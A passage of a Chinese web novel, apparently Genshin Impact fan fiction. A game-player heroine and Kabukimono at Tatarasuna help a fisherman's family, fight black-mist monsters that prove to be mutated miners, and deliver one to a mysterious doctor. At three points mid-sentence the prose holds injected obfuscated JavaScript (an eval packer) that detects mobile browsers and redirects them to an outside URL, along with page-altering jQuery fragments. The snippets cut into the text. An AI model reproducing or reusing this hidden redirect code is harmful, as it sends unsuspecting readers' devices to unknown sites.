女人脸色苍白,身形消瘦,但她的眼神异常温柔,有一股坚韧的精气神。她强撑着虚弱的身体,坚持要给他们倒水。 渔民赶忙从身后接过水壶,将妻子扶到长凳上坐好,才转头道:“二位恩人,你们也快请坐吧。” “抱歉,前些日子我在八酝岛挖矿伤了底子,只能这么病恹恹地见客了。” 女人扯出一个苍白的微笑,“两位是为了黑雾来的吧?两个月前的夜晚,我采矿结束,在回家的路上突然被黑雾包围。 “周围传来低吼声,像人又像野兽……我很害怕,站在原地一动都不敢动。还好过了一会儿,听到了其他矿友路过的声音,那黑雾就像退潮一样散了。当时,我还以为是自己太累产生的幻觉。” “幻觉?”光缡不解地追问。 渔民平次在一旁愧疚地低下了头:“当时沙代子身体已经很不好了,但为了多挣点钱,她咬牙没休息,想着熬过最忙的这阵子再去看大夫。没成想……就直接病倒在了矿洞里。幸好旁边的矿友发现得早,不然……” 后面的话他没能说出口,但那骤然黯淡的神情,已经让人感受到了那未尽之言对于这个家庭而言有多么沉重。 一时间,屋内安静得落针可闻。 “请问你具体是在哪里遇到黑雾的?”光缡打破了平静。 “在名椎滩一带。”沙代子如实回答。 对着躲在门后的小女孩招了招手。小女孩怯生生地跑进母亲怀里,好奇地打量着这两个陌生人。 “这孩子快到去私塾的年纪了。我们想攒点钱,搬到鸣神岛去。那边环境好,不用担心她被祟神之力感染。” 沙代子慈爱地抚摸着女儿的头,苍白的脸上满是对未来的憧憬,“所以,两位今天救下平次,对我们这个小家而言,真的是比天塌下来还要重要的大恩……如你们所见,我们家徒四壁,没什么拿得出手的,只能容许两位……” 沙代子撑着桌沿,颤巍巍地站了起来。丈夫和女儿赶忙在两旁扶住她。 一家三口对着光缡和散兵,深深地鞠了一躬。 “……容许两位接受我们最苍白的感谢。” 光缡也“哗啦”一下从椅子上站了起来。 回想起半小时前,她不仅要抢人家的谋生推车,还想顺走人家准备换救命药钱的鱼。 如果没触发这段剧情,她大概会毫无心理负担地继续把他们当成两团数据。 可一旦了解了他们的故事,看到了这种在苦难中挣扎却依然互相依偎的感情,她就再也无法用看代码的眼神去看待他们了。 作为一个合格的游戏玩家,光缡向来没什么NPC道德,但这次没按跳过键,听了故事,倒难得唤醒了她为数不多的良知。 “你们……家里如果有什么困难,我都可以帮忙。”光缡干巴巴地憋出一句。 “没有没有!”夫妻俩齐刷刷地摆手。 “嗯……” 一时光缡也不知道该说什么了。 她下意识地将求助的目光投向了倾奇者。说到底,在这一周目里,真正出手救下渔民的其实是他。 可自打沙代子讲述经历开始,倾奇者就再没说过一句话。 他静静地坐在那里,微微垂着头,额前的碎发在脸上投下一片阴影,让人看不清他那双眼睛中的情绪。 过了好一会儿,他才像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449512|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然惊醒一般,略显僵硬地站了起来。 “我接受二位的感谢。”他的声音很轻,却紧绷绷的,“也请你们……好好地、坚韧地活下去。抱歉,家中门禁森严,我必须回去了。” 留下这个极其拙劣的借口,他对着那一家三口匆匆欠了欠身,仿佛身后有洪水猛兽在追赶一般,头也不回地快步离开了屋子。 刚迈出屋门,他又像是想起了什么,猛地折返回来,一把攥住光缡的手腕,拉着她一道逃离了这间屋子。 倾奇者走得极快,步子迈得又大又急,光缡被他拽得踉踉跄跄。 连光缡这个感情迟钝的家伙都看出来了。 倾奇者现在的心情很糟糕,或者说,极其紊乱。 渔民一家的遭遇的确让人感叹,光缡也承认自己有所触动,但绝对远不到倾奇者这种落荒而逃的程度。 这倒也很符合倾奇者的性格。 容易心软,也容易被这世间微小的脆弱所灼伤啊。 一时间,她很想为这一家人做些什么。 “你等一下。” 在路过屋檐下的一个破旧储物箱时,光缡手上反向用力,拖住了他。 听到她的声音,散兵被迫放慢了脚步,狐疑地回过头看着她。 而光缡没有注意到这个眼神,因为她已经打开了背包栏。 看着这一下午满大街乱晃时顺手采集的资源,光缡深吸一口气,开始疯狂往外掏东西。 放在系统判定为【安全储物箱】里的物品是不会丢失的。 等会儿去打恶鬼,万一被秒了掉一地装备多亏啊?还不如把用不上的物资都“存”在这家人这里。 对,就是这样,纯粹是战术考量! 于是,在掏出三十几个堇瓜、二十多块生肉、一大捧甜甜花、以及从渔民车上顺走的全部鲜鱼,将那个破木箱塞得满满当当之后,光缡假装若无其事地关上箱子。 “好了,我们走吧,去名椎滩。” 光缡十分自然地反手扣住散兵的手腕,像他刚才拽自己一样,拉起他就走。 【任务状态已更新——】 【名椎滩疑似有恶鬼出没,请玩家及时处理】 两人脚程很快,夜风穿过踏鞴砂的林间,一路上谁也没有说话。 直到走完了一半的路程,光缡那宕机的脑回路才后知后觉地反应过来。 她低下头,愣愣地看着两人相交的手臂。 哇哦。 她居然在和倾奇者牵手! 而且一开始,还是这倾奇者主动攥着她跑出来的! 这么重要的情报,她刚才居然完全没注意到! 看来她也受到的触动,比表面上深得多啊。 光缡在内心情不自禁感慨。 就算是日天日地的游戏玩家,也永远无法越过设定的高墙,去填平每一个NPC命里的遗憾。 她能杀空地图上的怪物,却填不平NPC眼里的泪水,也挡不住贫穷与病痛对一个家庭的蚕食。 她唯一拿得出手、也最熟悉的,就只剩下系统赐予的那点暴力了。 仿佛只要杀得够快,就能假装那些已经发生的苦难并不存在。 名椎滩的恶鬼是吧? 光缡捏紧了拳头,眼神变得无比凶悍。 敢在我的地图上亮血条,你死定了! 9. 第 9 章 抵达名椎滩时,夜幕已彻底吞噬了海岸线。 海风褪去了白日的温和,裹挟着一股令人作呕的铁锈与腥腐味。 光缡独自清理了附近徘徊的魔物,她不想打精英怪的时候还要分神。 她察觉到倾奇者情绪低落,既然大地图的怪自己能应付,便没有强求他出手。 带着倾奇者在一处还算整洁的营地坐下后,光缡开始清点战利品。 刚才刷怪让她的经验条猛涨,眼看就差一点升到23级,只要拿下那只黑雾恶鬼绝对能成。 但风险同样巨大。 万一没打过,不小心死了,身上这笔巨额经验值就会全掉落。 要是读档以后没捡回来,今天一整天可就白干了! 这种事情对玩家而言比要了命都难受! 光缡不由得转头看向倾奇者。 不行,必须得上个双重保险,现在还真不是任由他继续emo的时候啊。 散兵被安排在一截枯木上坐下。这女人似乎察觉到他的异样,意外地安静。 她借着野伏众营地残留的篝火,从无底洞般的背包里摸出一堆食材,开始旁若无人地烹饪。 她做饭手法粗糙得连小孩子过家家都不如,各种食材切都不切,随手往锅里一扔,可出锅的料理却已处理妥当,香气四溢。 散兵看着她忙碌的身影,心底的评价悄然偏移。她竟也会对这世间的苦难产生共情,甚至笨拙地用“存放东西”为借口施舍善意。 她似乎……并不像他最初认为的那样无药可救。 一碗热气腾腾的味噌汤递到面前。 散兵抬起视线对上光缡的眼睛:“先吃点东西吧,等下可能有场恶战。” 她竟然连盛汤的木碗都随身带着吗? 散兵无奈,伸手接过。 他吹了吹升腾的热气,将碗抵到唇边,轻轻抿了一口。 “怎么样?”光缡立刻俯身凑了过来,像只等待夸奖的邀功小狗。 “很好喝。”散兵如实回答。 顿了两秒,他意识到倾奇者不该如此冷淡,便又端起碗喝了一口,放柔了声音:“非常美味,多谢你,御舆小姐。” “哼哼,把料理全部吃光,就是对厨子最大的赞赏。”光缡坐正身体,得意地扬起下巴,不存在的尾巴似乎欢快地摇着,“不枉我特意为你生火做饭。” 散兵将脸埋入碗中。 曾经,他也特意为人做饭。 那个生病的小男孩,有着和今天渔民家中那个女孩一样纯真的眼睛。 曾经,他以为自己能在这个世界上找到一丝羁绊。 后来小男孩死了。 再也没有人需要他做饭了。 “倾奇者,你还要添一点吗?”光缡的声音打断了他的回忆。 他将余汤饮尽,轻轻摇头:“不用了,谢谢。” “那看在我的料理合你胃口的份上,你愿意帮我一个小忙吗?” “好。” 散兵答应得毫不犹豫。 反正出了事,他不帮也得帮,否则就被迫体验时间重置。 根本没有选择的余地。 御舆光缡眼睛一亮:“那我们等下去杀恶鬼的时候组队吧!” “这是自然。”散兵垂下眼帘,语气温和,“我本就打算与你一起行动的。你是想让我多关照一些你的安危吗?” “不不不,我说的组队不是这个意思。当然你愿意保护我肯定更好啦……” 光缡连连摆手,嘴里开始往外蹦那些散兵听不懂的词汇,“我想说的是系统层面上的组队。你等等哦,我切个后台把编队面板找出来……” 她的声音渐渐低下去,眼神瞬间失去焦距,像一具被强行抽空灵魂的人偶僵在原地。 对她种种违背常理的举动,散兵早已 见怪不怪,习惯性地环视四周替她警戒。 骤然间,空气降温。 篝火被无形的恶意压制,橘红火苗扭曲成幽暗的惨绿。浓稠的黑雾悄无声息地吞噬了沙滩。 居然这就来了。 散兵立即做好迎战准备。 “吼——!” 一只浑身长满紫黑晶体的变异怪物,从光缡视觉盲区的黑雾中扑杀而出,毒爪直取她的咽喉! 千钧一发之际,光缡眼神重新聚焦。 “什么东西?!” 散兵已先一步横插而入,单手格挡,借力将怪物狠狠甩出。 光缡本能向后翻滚。虽避开了致命一击,但怪物速度太快,锋利的爪尖依然撕开了她的肩膀。 “这怪伤害怎么这么高!” 光缡掏出甜甜花酿鸡塞进嘴里,企图和往常一样拉回血线。 然而,预想中的恢复数字并没有飘起。 【警告:受到‘侵蚀’状态影响!治疗效果下降80%,并伴随持续流血!】 “禁疗加流血的粪怪机制?!” 光缡失声破音。 萌新时期最恶心的机制了! 她连滚带爬试图拉开距离回血,但怪物狂怒地再次扑来,不留喘息之机。 散兵再次为她挡下伤害,后背被晶体划出一道血痕。 但光缡已无苟活的余地。 持续流血的侵蚀效果,眨眼间烧干了她见底的血条。 光缡直挺挺地倒在地上,一大团光球从她体内溢出,滚落在旁。 站在一旁的散兵看着这一切。 他又一次眼睁睁地看着她死在自己面前。 这一次他没有太多波澜,熟练地闭上眼睛,站在原地,等待着那阵熟悉的眩晕感和时间重置。 一秒。 两秒。 五秒过去了。 海风依旧阴冷,黑雾依旧在翻滚。 时间,还在流动。 散兵猛地睁开眼。 怎么回事?为什么没有重置?!难道她这次是真的死了?! 他并不知道,此时的光缡正坐在游戏大厅的座位里,黑着脸神情懊恼。 她一边气恼刚才的窝囊表现,一边在设置里寻找队伍编制说明,还没顾得上读取存档。 变异怪物已锁定了在场的唯一活物,咆哮着扑来。 散兵避无可避,只得迎战。 体内力量被重重封印,这具“倾奇者”的躯壳实在捉襟见肘。 费了一番功夫,他终于寻得破绽,右手狠狠刺穿了恶鬼的心脏。 恶鬼轰然倒下,滚烫的鲜血飞溅而出,迸射在他白皙的脸颊上。 那具狰狞的躯体突然抽搐了一下,喉咙里的嘶吼褪去,化作一声极微弱的人类呓语:“救救……我……好疼……” 散兵全身紧绷,骤然瞪向地上的尸身。 紫黑晶体褪去,露出一张属于普通踏鞴砂矿工的脸。 这根本不是妖邪! 是货真价实的人类! 散兵急促地呼吸着,胃里一阵翻江倒海。 他呆呆地看着自己沾满温热鲜血的手,听着海浪声突然变得遥远。 他刚刚杀了人。 他亲手杀死了一个踏鞴砂的普通人。 也许那个人在变异初期还有救,也许只要将他压制住就能活下来……可他却毫不犹豫地痛下了杀手。 他刚才满脑子只有防御和厌烦,根本没有做任何分辨,直到温热的人血溅在脸上,直到听到那句绝望的求救,他才如梦初醒。 为什么没有早点发现?为什么会有如此致命的疏忽?为什么根本没有做任何分辨就痛下杀手? 又有人要因他而死了吗?就像曾经的踏鞴砂那样? 丹羽、桂木、那个和他一样没有名字的孩子…… 不…… 不不不! 比那时还要残忍一万倍。因为这一次,是他亲手杀死了人! 他张开嘴,如同溺水之人一般发出急促而破碎的喘息。胸腔在剧烈地起伏,可那种天旋地转的窒息感却越发强烈。 过度换气让他的眼前阵阵发黑,尖锐的耳鸣掩盖了世间的一切声音。 惊惧与自我厌恶犹如毒蛇游走全身,让他的四肢无法自控地痉挛、发麻。 他亲手杀死了踏鞴砂的普通人。他又一次,把事情搞砸了。 他像个被抽去了脊骨的罪人,在剧烈的过呼吸中双膝一软,绝望无力地跪倒在那片他亲手造就的血泊中。 “噼里啪啦——” 篝火燃烧的轻响唤回理智。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449513|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散兵回神,发现自己正坐在枯木上。 面前的光缡弯下腰,将那团光球捡进怀里,重新拨亮了篝火。 压垮他的一切尚未发生。 时间重置了。 一切回到了歇脚的那一刻。 “你怎么了?振作一点啊。” 光缡察觉到他的异样,这次直接走到他身边蹲下。 她犹豫了下,将手覆盖在他的手背上,“你的表情比刚才还要吓人,我觉得你现在的状态不适合再战斗了,接下来还是交给我吧。 “我不知道你的过去都经历了什么,但我向你保证,我不会让那些悲剧重演。渔民和矿工的小家,还有踏鞴砂,我都会守护好的。” 散兵呼吸凌乱,眼神晦暗。 什么不会重演?什么会守护好?明明她刚才连怪物一招都接不住就死了。 为什么总要用这种轻飘飘的语气,说出令人难以承受的大话。 「你分明是在生气她敢于承诺,也敢于赌上性命,守护你曾经没有守护好的一切。」 心底的声音刺耳地响起。 「她刚才是真的死了一次。你自认强大,可你保护好她了吗?你只会眼睁睁看着他人在眼前失去生命——」 够了……我说够了! 「只会逃避的懦夫、胆小鬼,傲慢,贪婪,自我……」 闭嘴!闭嘴!!! 「你只会逃避。」 散兵像被烫到般猛地抽回手。刺痛感让他下意识收拢柔软的内心,亮出尖刺反击:“你真觉得,你什么都能做到吗?” 话一出口便后悔了。他紧紧抿住发白的嘴唇,指尖深深掐入掌心。 一霎时,他都有些不愿直视御舆光缡的眼睛。 光缡无从得知散兵心中的惊涛骇浪。 在她听来,这就是一句普通的质问,她证明决心即可。 光缡摇了摇头::“当然不能啊,我比其他人最大的优势,就是持有无需付出代价的暴力。我可以随自己心意决定,什么时候做个好人,什么审判恶人。” 她顿了顿,语气变得笃定:“但只要是我亲眼见到的、我想管的生死,我总有争一争的力量,博取想要的可能性。” 所以打游戏就是来当皇帝的啊。 她肯定会尽己所能,给喜欢的角色们最好的结局。 看着她认真的神情,散兵竟生出一种,也许她真的无所不能的感觉。 前所未有的狼狈笼罩下来,让他无处可逃。 像一根根细针,精准地扎进他心底最不愿直面的那一部分自我,刺得他生疼。 曾经,他也怀着近似的天真,想要守护些什么,结果…… 散兵气极反笑,带着浓浓的自嘲:“早些放下你那可笑的救世主情结吧。他人的命运,是不会靠着你说几句大话就会改变的。” 否则,只会受伤。 “会的。”光缡固执地反驳。 “你又能怎么知道,难不成你要告诉我,你能未卜先知?” “我就是能知道,”光缡定定地看着他,“因为、因为……” 光缡卡壳了一瞬,大脑飞速搜刮着合适的说辞,她想要说的帅气一点。 直白地讲因为我是玩家,这个世界就是为了让我爽而存在的,也太没情调了。 灵光一闪,她想到了一句很适合的台词。 她清了清嗓子,神色稍微正经起来,目不转睛盯住散兵的眼睛。 “因为,我也许就是为了与你相遇才诞生的。” 篝火的光芒映在倾奇者收缩的瞳孔里,他微微张了张嘴,却什么声音也没能发出。 光缡很满意效果。 现在还是晚上,更是相衬了。 她刻意放慢了语速,一字一句说得虔诚,“为了将那些注定发生的悲剧拦下,让你不用再面对同样的遗憾。” 未卜先知算什么? 她读档回来就能做到好吧。 只要她想,怪物的底裤都能卡模型看穿。 不过这句话讲出来实在太破坏沉浸感了,所以她没有说。 光缡一瞬不瞬地注视着散兵的眼睛,像个等待开奖的赌徒。 那么评委倾奇者老师的打分是—— 10. 第 10 章 “倾奇者”微微错愕。 他向后仰了仰身子,拉开了距离。 “御舆小姐,我倒没看出来,我对你而言竟是如此‘重要’的存在——” “倾奇者”语调陡转。 他虽笑着但眼底满是回避的冷意,“怎么,你以为我会这样说吗?” 与他看垃圾的眼神对视着,光缡有些不好意思地移开目光。 确实没觉得他会感动什么的,但也没想到,他拒绝的方式这么特别。 有被蛊到。 散兵继续开火,逃避似的推开所有好意。 “真不好意思,你的救世主美梦该醒了。比起那些虚无缥缈的承诺,我倒更好奇,御舆小姐打算如何处理那只恶鬼呢?” 换做常人,一番掏心窝子的好意鞴如此践踏,不当场赏他一耳光,也绝对忿然离场,大骂是不是有病然后再也不管他。 毕竟谁也不是天生受虐狂,要上赶着受这份窝囊气。 但光缡不是正常人。她是个游戏玩家。 倾奇者在她眼里,也不是人。是个纸片人。 两人之间的磁场,就这么微妙地跳出了现实的维度。 毒舌但脆弱,强大却心思敏感,有着不为人知的过去,浑身上下散发着“我很痛苦,快来毁灭我或者被我毁灭”的气息…… 光缡可耻地咽了咽口水。 这种混合了颓废、易碎与疯狂的自毁色气,正是她XP。 想把她骂远? 对不起,不可能,就爱这口。 爱听多骂。 雷电国崩同学,请不要低估她当初在封面上对你一见钟情的决心。 这种程度,掏一掏耳朵就当作调情了。 至于他的情绪,他的痛苦,他的嘲讽? 抱歉,不如先关照一下那根爬得比蜗牛还慢的好感度进度条。 倾奇者原生家庭之痛她总会聆听的,但听完要干什么,他是得知道的。 “手段当然是有的,我已经想好对策了。” 光缡完全无视了他刺人的目光,语气轻快得仿佛准备去春游。 归根结底,刚才她是流血流死的。 直接护盾+奶,防御buff双管齐下。 注意点技能CD,始终无缝衔接,怪物总会被磨死的。 可曾听闻老头环盾戳流? 不过这只精英怪的咖位,还不够让光缡请出盾戳大招。 狼狈是狼狈了点,但结果都是一样的。 只要成功打败怪物,不管中间的过程是满地打滚还是连滚带爬,最后结算时,NPC照样会用充满星星眼的崇拜目光,把她脑补成一位深藏不露的“绝世大佬”。 说来,打海乱鬼回档之后,她还没有给倾奇者露一手呢。 也许展示一波实力,能意外刷点好感度? 光缡信心爆棚地转过头:“倾奇者,等下打起来的时候,你千万别插手哦。” 说罢,她点开组队界面,直接把倾奇者拉进队伍。 没办法,谁让群体护盾技能和回血技能是组队限定效果呢。 【角色‘雷电国崩重度依赖’已成功加入队伍,今后将与您并肩作战】 【角色属性同步完毕——当前等级:22级。】 稳了。 根本不给散兵反应,一股不讲道理的力量骤然降临在身上。 雷电将军的封印依然存在,但他却清晰地感觉到,自己被一股外部力量强行洗刷、拔高。 “好了,组队完成!” 光缡宣布道,顺手从背包里摸出一个装置,往散兵脚边一放。 装置启动,地上赫然亮起一个圆形的范围光圈。 光缡煞有介事地叮嘱:“等下你千万别出这个圈哦。” 说完,她甚至没有转头看他一眼。刚才他那番刻薄的嘲讽,仿佛被海风一吹就散了。 她拔出长剑,毫不设防地将后背留给这个刚刚用言语刺伤她的人,兴冲冲地迎向了翻涌的黑雾。 散兵独自站在光圈的正中央。 源源不断的力量正通过“组队”的羁绊,强行灌注进他的身体。这股力量很温和,却让他心理层面上浑身不自在。 他下意识朝前迈出半步,手指出于本能地伸出,似乎想要拽住她的后领,把她扯回来。 可光缡也在这一刻加速,与他的指尖正好错过。 她怎么敢……怎么敢如此轻飘飘地,就把这种凌驾于神明封印之上的力量借给他? 一种连他自己都未察觉的、隐秘的挫败感交织升腾。 他不想欠她,更不想依赖任何人! 黑雾如期而至,重新笼罩了沙滩。 恶鬼破雾而出,扬起利爪。 散兵跨出光圈。 他在心底咀嚼着这个借口:我只是不想在踏鞴砂惹出人命,更不想欠她这强塞过来的力量。 对,仅此而已。 光缡只觉得身侧掠过一阵疾风,单薄的纯白身影已经闪现至恶鬼身前。 他身形微错,手臂划过弧度。 “砰——” 庞大的身躯如同被无形的巨浪掀翻,直挺挺地砸进后方的岩壁,连一声嘶吼都没发出来,便瞬间失去了意识。 风波平息,黑雾散去。 光缡愣在原地。 散兵站在不远处,没有回头。 四周安静得只能听到海浪拍打礁石的声音。 “不是……”光缡错愕地看着连气都没喘一口的倾奇者,“我不是让你在圈里待着,不用出手吗?” 动态平衡系统又发力了? 刚才她不是还特意说不要插手战斗的嘛? 她要耍帅泡人的! 倾奇者突然出手,这样的实力差距,显得她好呆。 那还说什么不要出手,以后就安心等待倾奇者秒天秒地,她跟在屁股后面捡捡捡得了。 散兵没什么解释的兴致,只冷淡地点了一句:“你看清楚,他不是妖怪,是人。” 所以,他是防止御舆光缡杀死这个人类,才出手的,对就是这样。 恶鬼身上的紫晶逐渐褪去,露出了属于人类的本来面貌。 他微弱的声音也恢复了人类的清明:“救救我,求求你们……” 哦,原来是人类啊。 哇。 真的是一点都不惊讶呢。难道游戏规定因为是人类,她就必须得配合着掉两滴眼泪吗? 光缡内心毫无波澜。 只要亮了血条管他是什么。 但是想到倾奇者对踏鞴砂人民的在乎,光缡很懂事地闭紧嘴巴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449514|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在这时,系统提示音在光缡脑海中炸响。 【击败异常变异体(1/8)】 【区域隐藏情报解锁:据说,近期有一位仁慈的‘云游医生’在踏鞴砂西侧设立了临时诊所。该医生正高价悬赏这些失去理智的病人,承诺以最新的医术对其进行人道救治。】 【任务分支更新:】 【A. 斩草除根(获得少量基础奖励);】 【B. 活体捕获并交予‘云游医生’(获得巨额摩拉奖励及神秘图纸)。】 读到“巨额摩拉”和“稀有图纸”几个字时,光缡两眼放光。 什么NPC的悲惨身世?什么倾奇者的别扭傲娇?什么抢怪不抢怪的? 通、通、抛、之、脑、后! 像这样的提款机……哦不,怪物,还有七个! 奖励X7! 她熟练地从四次元背包里掏出麻绳。 散兵见状蹙眉靠近,试图制止:“你要干什么?” 光缡头也不抬,手脚麻利:“送他去看医生啊。” 散兵:…… 听起来确实是个很符合正常逻辑的回答。既然如此,他也不好再阻拦,默默往后退了半步。 光缡已经三下五除二把那只变异矿工捆成了个结结实实的大粽子,干劲满满地一挥手。 “搞定,我们走吧!” “嗯。” 散兵这才上前,打算将变异的人类扛起,光缡却抢先一步,单手把人提溜了起来。 接着,她把人类的脚对准背包口,然后就这么离谱地,塞、进、去、了。 散兵一愣神。 那可是一个活生生的人类! 御舆光缡到底是怎么把一个大活人塞进那么点大的背包里的?! 不对!重点是那是个活人!怎么能当物件一样装起来?! 光缡自己也小小地惊讶了一下。 她原本只是抱着试一试的心态,看能不能卡个bug装进去。 毕竟游戏里的人类NPC通常是无法放入背包的,只有特定生物才能通过特殊道具捕捉。 但能放进背包绝对是天大的好事。 因为放进背包就没有负重判定了。 玩家背负过重可是会降低移速的,这可是大世界探索中最恶心的debuff。跑图嘛,当然是走得越快越好。 “人呢?”散兵盯着她空空如也的手。 “我收起来了呀,不然咱们拎着多费劲。”光缡理直气壮地答道。 她一边走一边切出系统面板,顺着任务指引寻找路线。但是云游医生的地点只在地图上标了一个大概范围。 什么啊,还要自己找NPC,最烦这种任务了。 光缡果断决定分享这份麻烦。 “踏鞴砂西边有位云游医生,据说可以治疗这种变异病患,但我不知道他具体在哪。而且他说只要找到变异人类,就会给一大笔赏钱呢。” 云游医生? 高价悬赏变异活体? 在提瓦特,打着拯救旗号收集怪物的家伙,通常比怪物本身更可怕。 散兵冷眼看着光缡那副被悬赏冲昏头脑的模样。 放任这样御舆光缡一个不知死活的异数在踏鞴砂乱跑,绝非明智之举,他总得亲自盯着才行。 11. 第 11 章 在悬崖底部的隐蔽处,光缡终找到了那位云游医生的临时诊所。 然而,门扉紧闭。 门板上贴着一张字条,上面用优雅的笔迹写着:“外出采药,归期未定。” 人不在,但不影响光缡提交任务。 在她的视线里,木屋右侧方亮着一个黄色高亮光圈,也就是任务物品提交点。 光缡心领神会,打开背包,像拎小鸡一样把那名变异矿工给拽了出来,丢入光圈之中。 【任务道具已成功提交。】 很好,光缡双手合十,满眼期待,准备迎接那串代表着丰厚摩拉的金色数字跃出屏幕。 她非常有耐心地等了一会儿,再等了一会儿。 ……夜风吹过,什么都没发生。 系统安安静静的,再没有响起任何播报。 这不太对吧? 光缡第一时间切出界面检查了网络状况,连接良好,延迟极低,毫无异常。 她又在原地蹦跶了两下,空挥了几下平A,人物没卡死,动作很流畅,一切正常。 那她的奖励去哪里了? 光缡疑惑地点开任务面板,任务状态的确是改变了。 【任务道具已提交。】 【正在等待云游医生核实并发放奖励。】 什么!大胆! 哪里来的NPC还敢让玩家等待! 活不耐烦了吗! 交了任务不给钱,和诈骗有什么区别! “居然不实时结算!太流氓了吧!” 光缡气急败坏。 亏本买卖她可不干,怎么能就这么把任务道具白白交出去! 必须一手交钱一手交货,她要找那个庸医当面对峙。 “御舆小姐,你就把他放在这里吗,似乎比较危险。” 此时,散兵已经绕着四周巡视了一圈折返。 这里的确像是个医者的居所,看不出什么破绽,但但医生本人不在,就把病患强行丢在门外,怎么看都很怪异。 与光缡眼中被“系统高度简化”的视觉效果不同,在散兵的视角里,那位可怜的矿工正四仰八叉地躺在平地上,周围既没有遮风挡雨的防护措施,也没有任何束缚他的装置。 万一他突然清醒过来再次发狂,甚至都不需要挣扎,只要站起身崩开绳索,就能当场重获自由。 光缡对此深表赞同:“当然不能就放在这儿!那医生不在,万一他跑了怎么办?” 这可是行走的巨额摩拉!放任他一个人走夜路太不安全了! 只可惜,她现在有心无力,带不走他了。 光缡对着光圈狂按交互键,企图把那只变异矿工重新捞回背包里。 【任务道具已提交,不可撤回。】 这行播报直接把光缡的血压拉满了。 她脸颊红扑扑的,无能狂怒中。 御舆光缡在为矿工的处境生气吗? 散兵想着。 刚才也是她主动提出要将矿工送医的。 她的行为挑不出任何毛病,但散兵总隐隐觉得…… 她生气的真正原因,绝对不是因为云游医生对待病患草率。 她真的有这么好心吗? 算了,至少她做出来的结果是好的。 散兵走上前去,将那位昏迷的矿工扛在了自己的肩上。 光缡见状,都忘了生气,嘴巴张成“O”型。 “既然那位医生不在,我们下次再来拜访,这位失去意识的矿工,就暂且交给我来照看,御舆小姐,你没有意见吧?” “你——你做得好啊!” 光缡得意极了。 哈哈,她受限于游戏机制没有办法夺回提交的任务道具,但是这关倾奇者什么事呢? 人家可是地地道道的本地人,带走被异化的同胞回去照顾,完全合情合理! “那就先交给你照顾吧,倾奇者!等我找到这个庸医,再说之后的事情。” 光缡暗下决心,等到天亮之后,她非得把全村的NPC问个底朝天,掘地三尺也要把这装神秘的云游医生挖出来要账! - 此时在游戏内已是深夜,野外能见度极低。两人都没带提灯,脚下的速度却丝毫不减。 散兵靠的是非人般优异的夜视能力;而光缡则是靠着伟大的游戏设置加持。 感觉屏幕太黑看不清?直接呼出菜单把亮度条拉满即可。 远远地,两人便瞧见身披重甲的巡逻守卫高举火把,正焦急地四下搜寻着什么。 再靠近些,风中传来了守卫们呼喊的名字。 “光缡小姐——” “倾奇者——” 哎呀,居然是来找他们两个的。 光缡和散兵不由得默契地对视了一眼,一切尽在不言中。 虽说他们两人都算不上真正意义上的小孩子(甚至根本不是人),但在如今的踏鞴砂,他们都处于有监护人的尴尬状态,而且这两位监护人分别是本地的一把手和二把手。 一种“熊孩子在外疯玩晚归”的心虚感,同时笼罩了两人。 那种刻印在灵魂深处的恐惧,让光缡回想起来她沉迷游戏忘接自家老大电话夺命连环call的恐怖记忆。 光缡打了个冷颤。 救命啊!她明明是在玩高自由度的异世界冒险游戏,怎么还要体验被家长查岗管教的坐牢环节?! 两人放轻脚步,身姿轻盈地跃上树枝,一路避开村里那些头顶小眼睛的巡逻守卫。 散兵肩上还扛着个大活人,在树枝间跳跃时多少有些行动受限。 光缡见状,十分大方地拉开了自己的四次元背包,朝着他敞开。 散兵犹豫这么做是否妥当。 但眼看一队守卫正举着火把调转方向朝他们走来,他顾不得许多,果断将矿工塞了进去。 这只是权宜之计,他对自己说,等会儿回去了就让御舆光缡拿出来。 两人先潜行回到御舆主宅。 此路由散兵带领。 四百多年前,当他偶尔叛逆不乖时,就曾从这里摸过一条罕为人知的隐蔽小道。 然而,两人刚翻过高墙轻巧落地,四面八方瞬间涌出了一大群守卫。火把瞬间点亮了庭院,将他们团团包围。 丹羽久秀和御舆长正作为最终BOSS,压轴登场。 丹羽的神情看起来还算平和,还有心情冲着散兵温和地笑了笑。 但御舆长正那边的气压就截然不同了。 虽然没有当场雷霆大怒,但他紧锁的眉头和严厉的目光中,明晃晃地写着一句话:现在有外人在场我不好发作,等他们走了看我怎么收拾你。 “光缡,你还知道回来?” 御舆长正脸色铁青,念出了这句经典的开场白,听得光缡心底直发毛。 她赶紧递给散兵一个眼刀:喂喂喂!你挑的这条隐蔽小路根本不靠谱好吗! 这还不如随便找个偏僻的院落直接翻墙呢! 散兵接收到了光缡的眼神信号,心里也有些无奈。在此处被丹羽当场抓获,确实完全超出了他的计算。 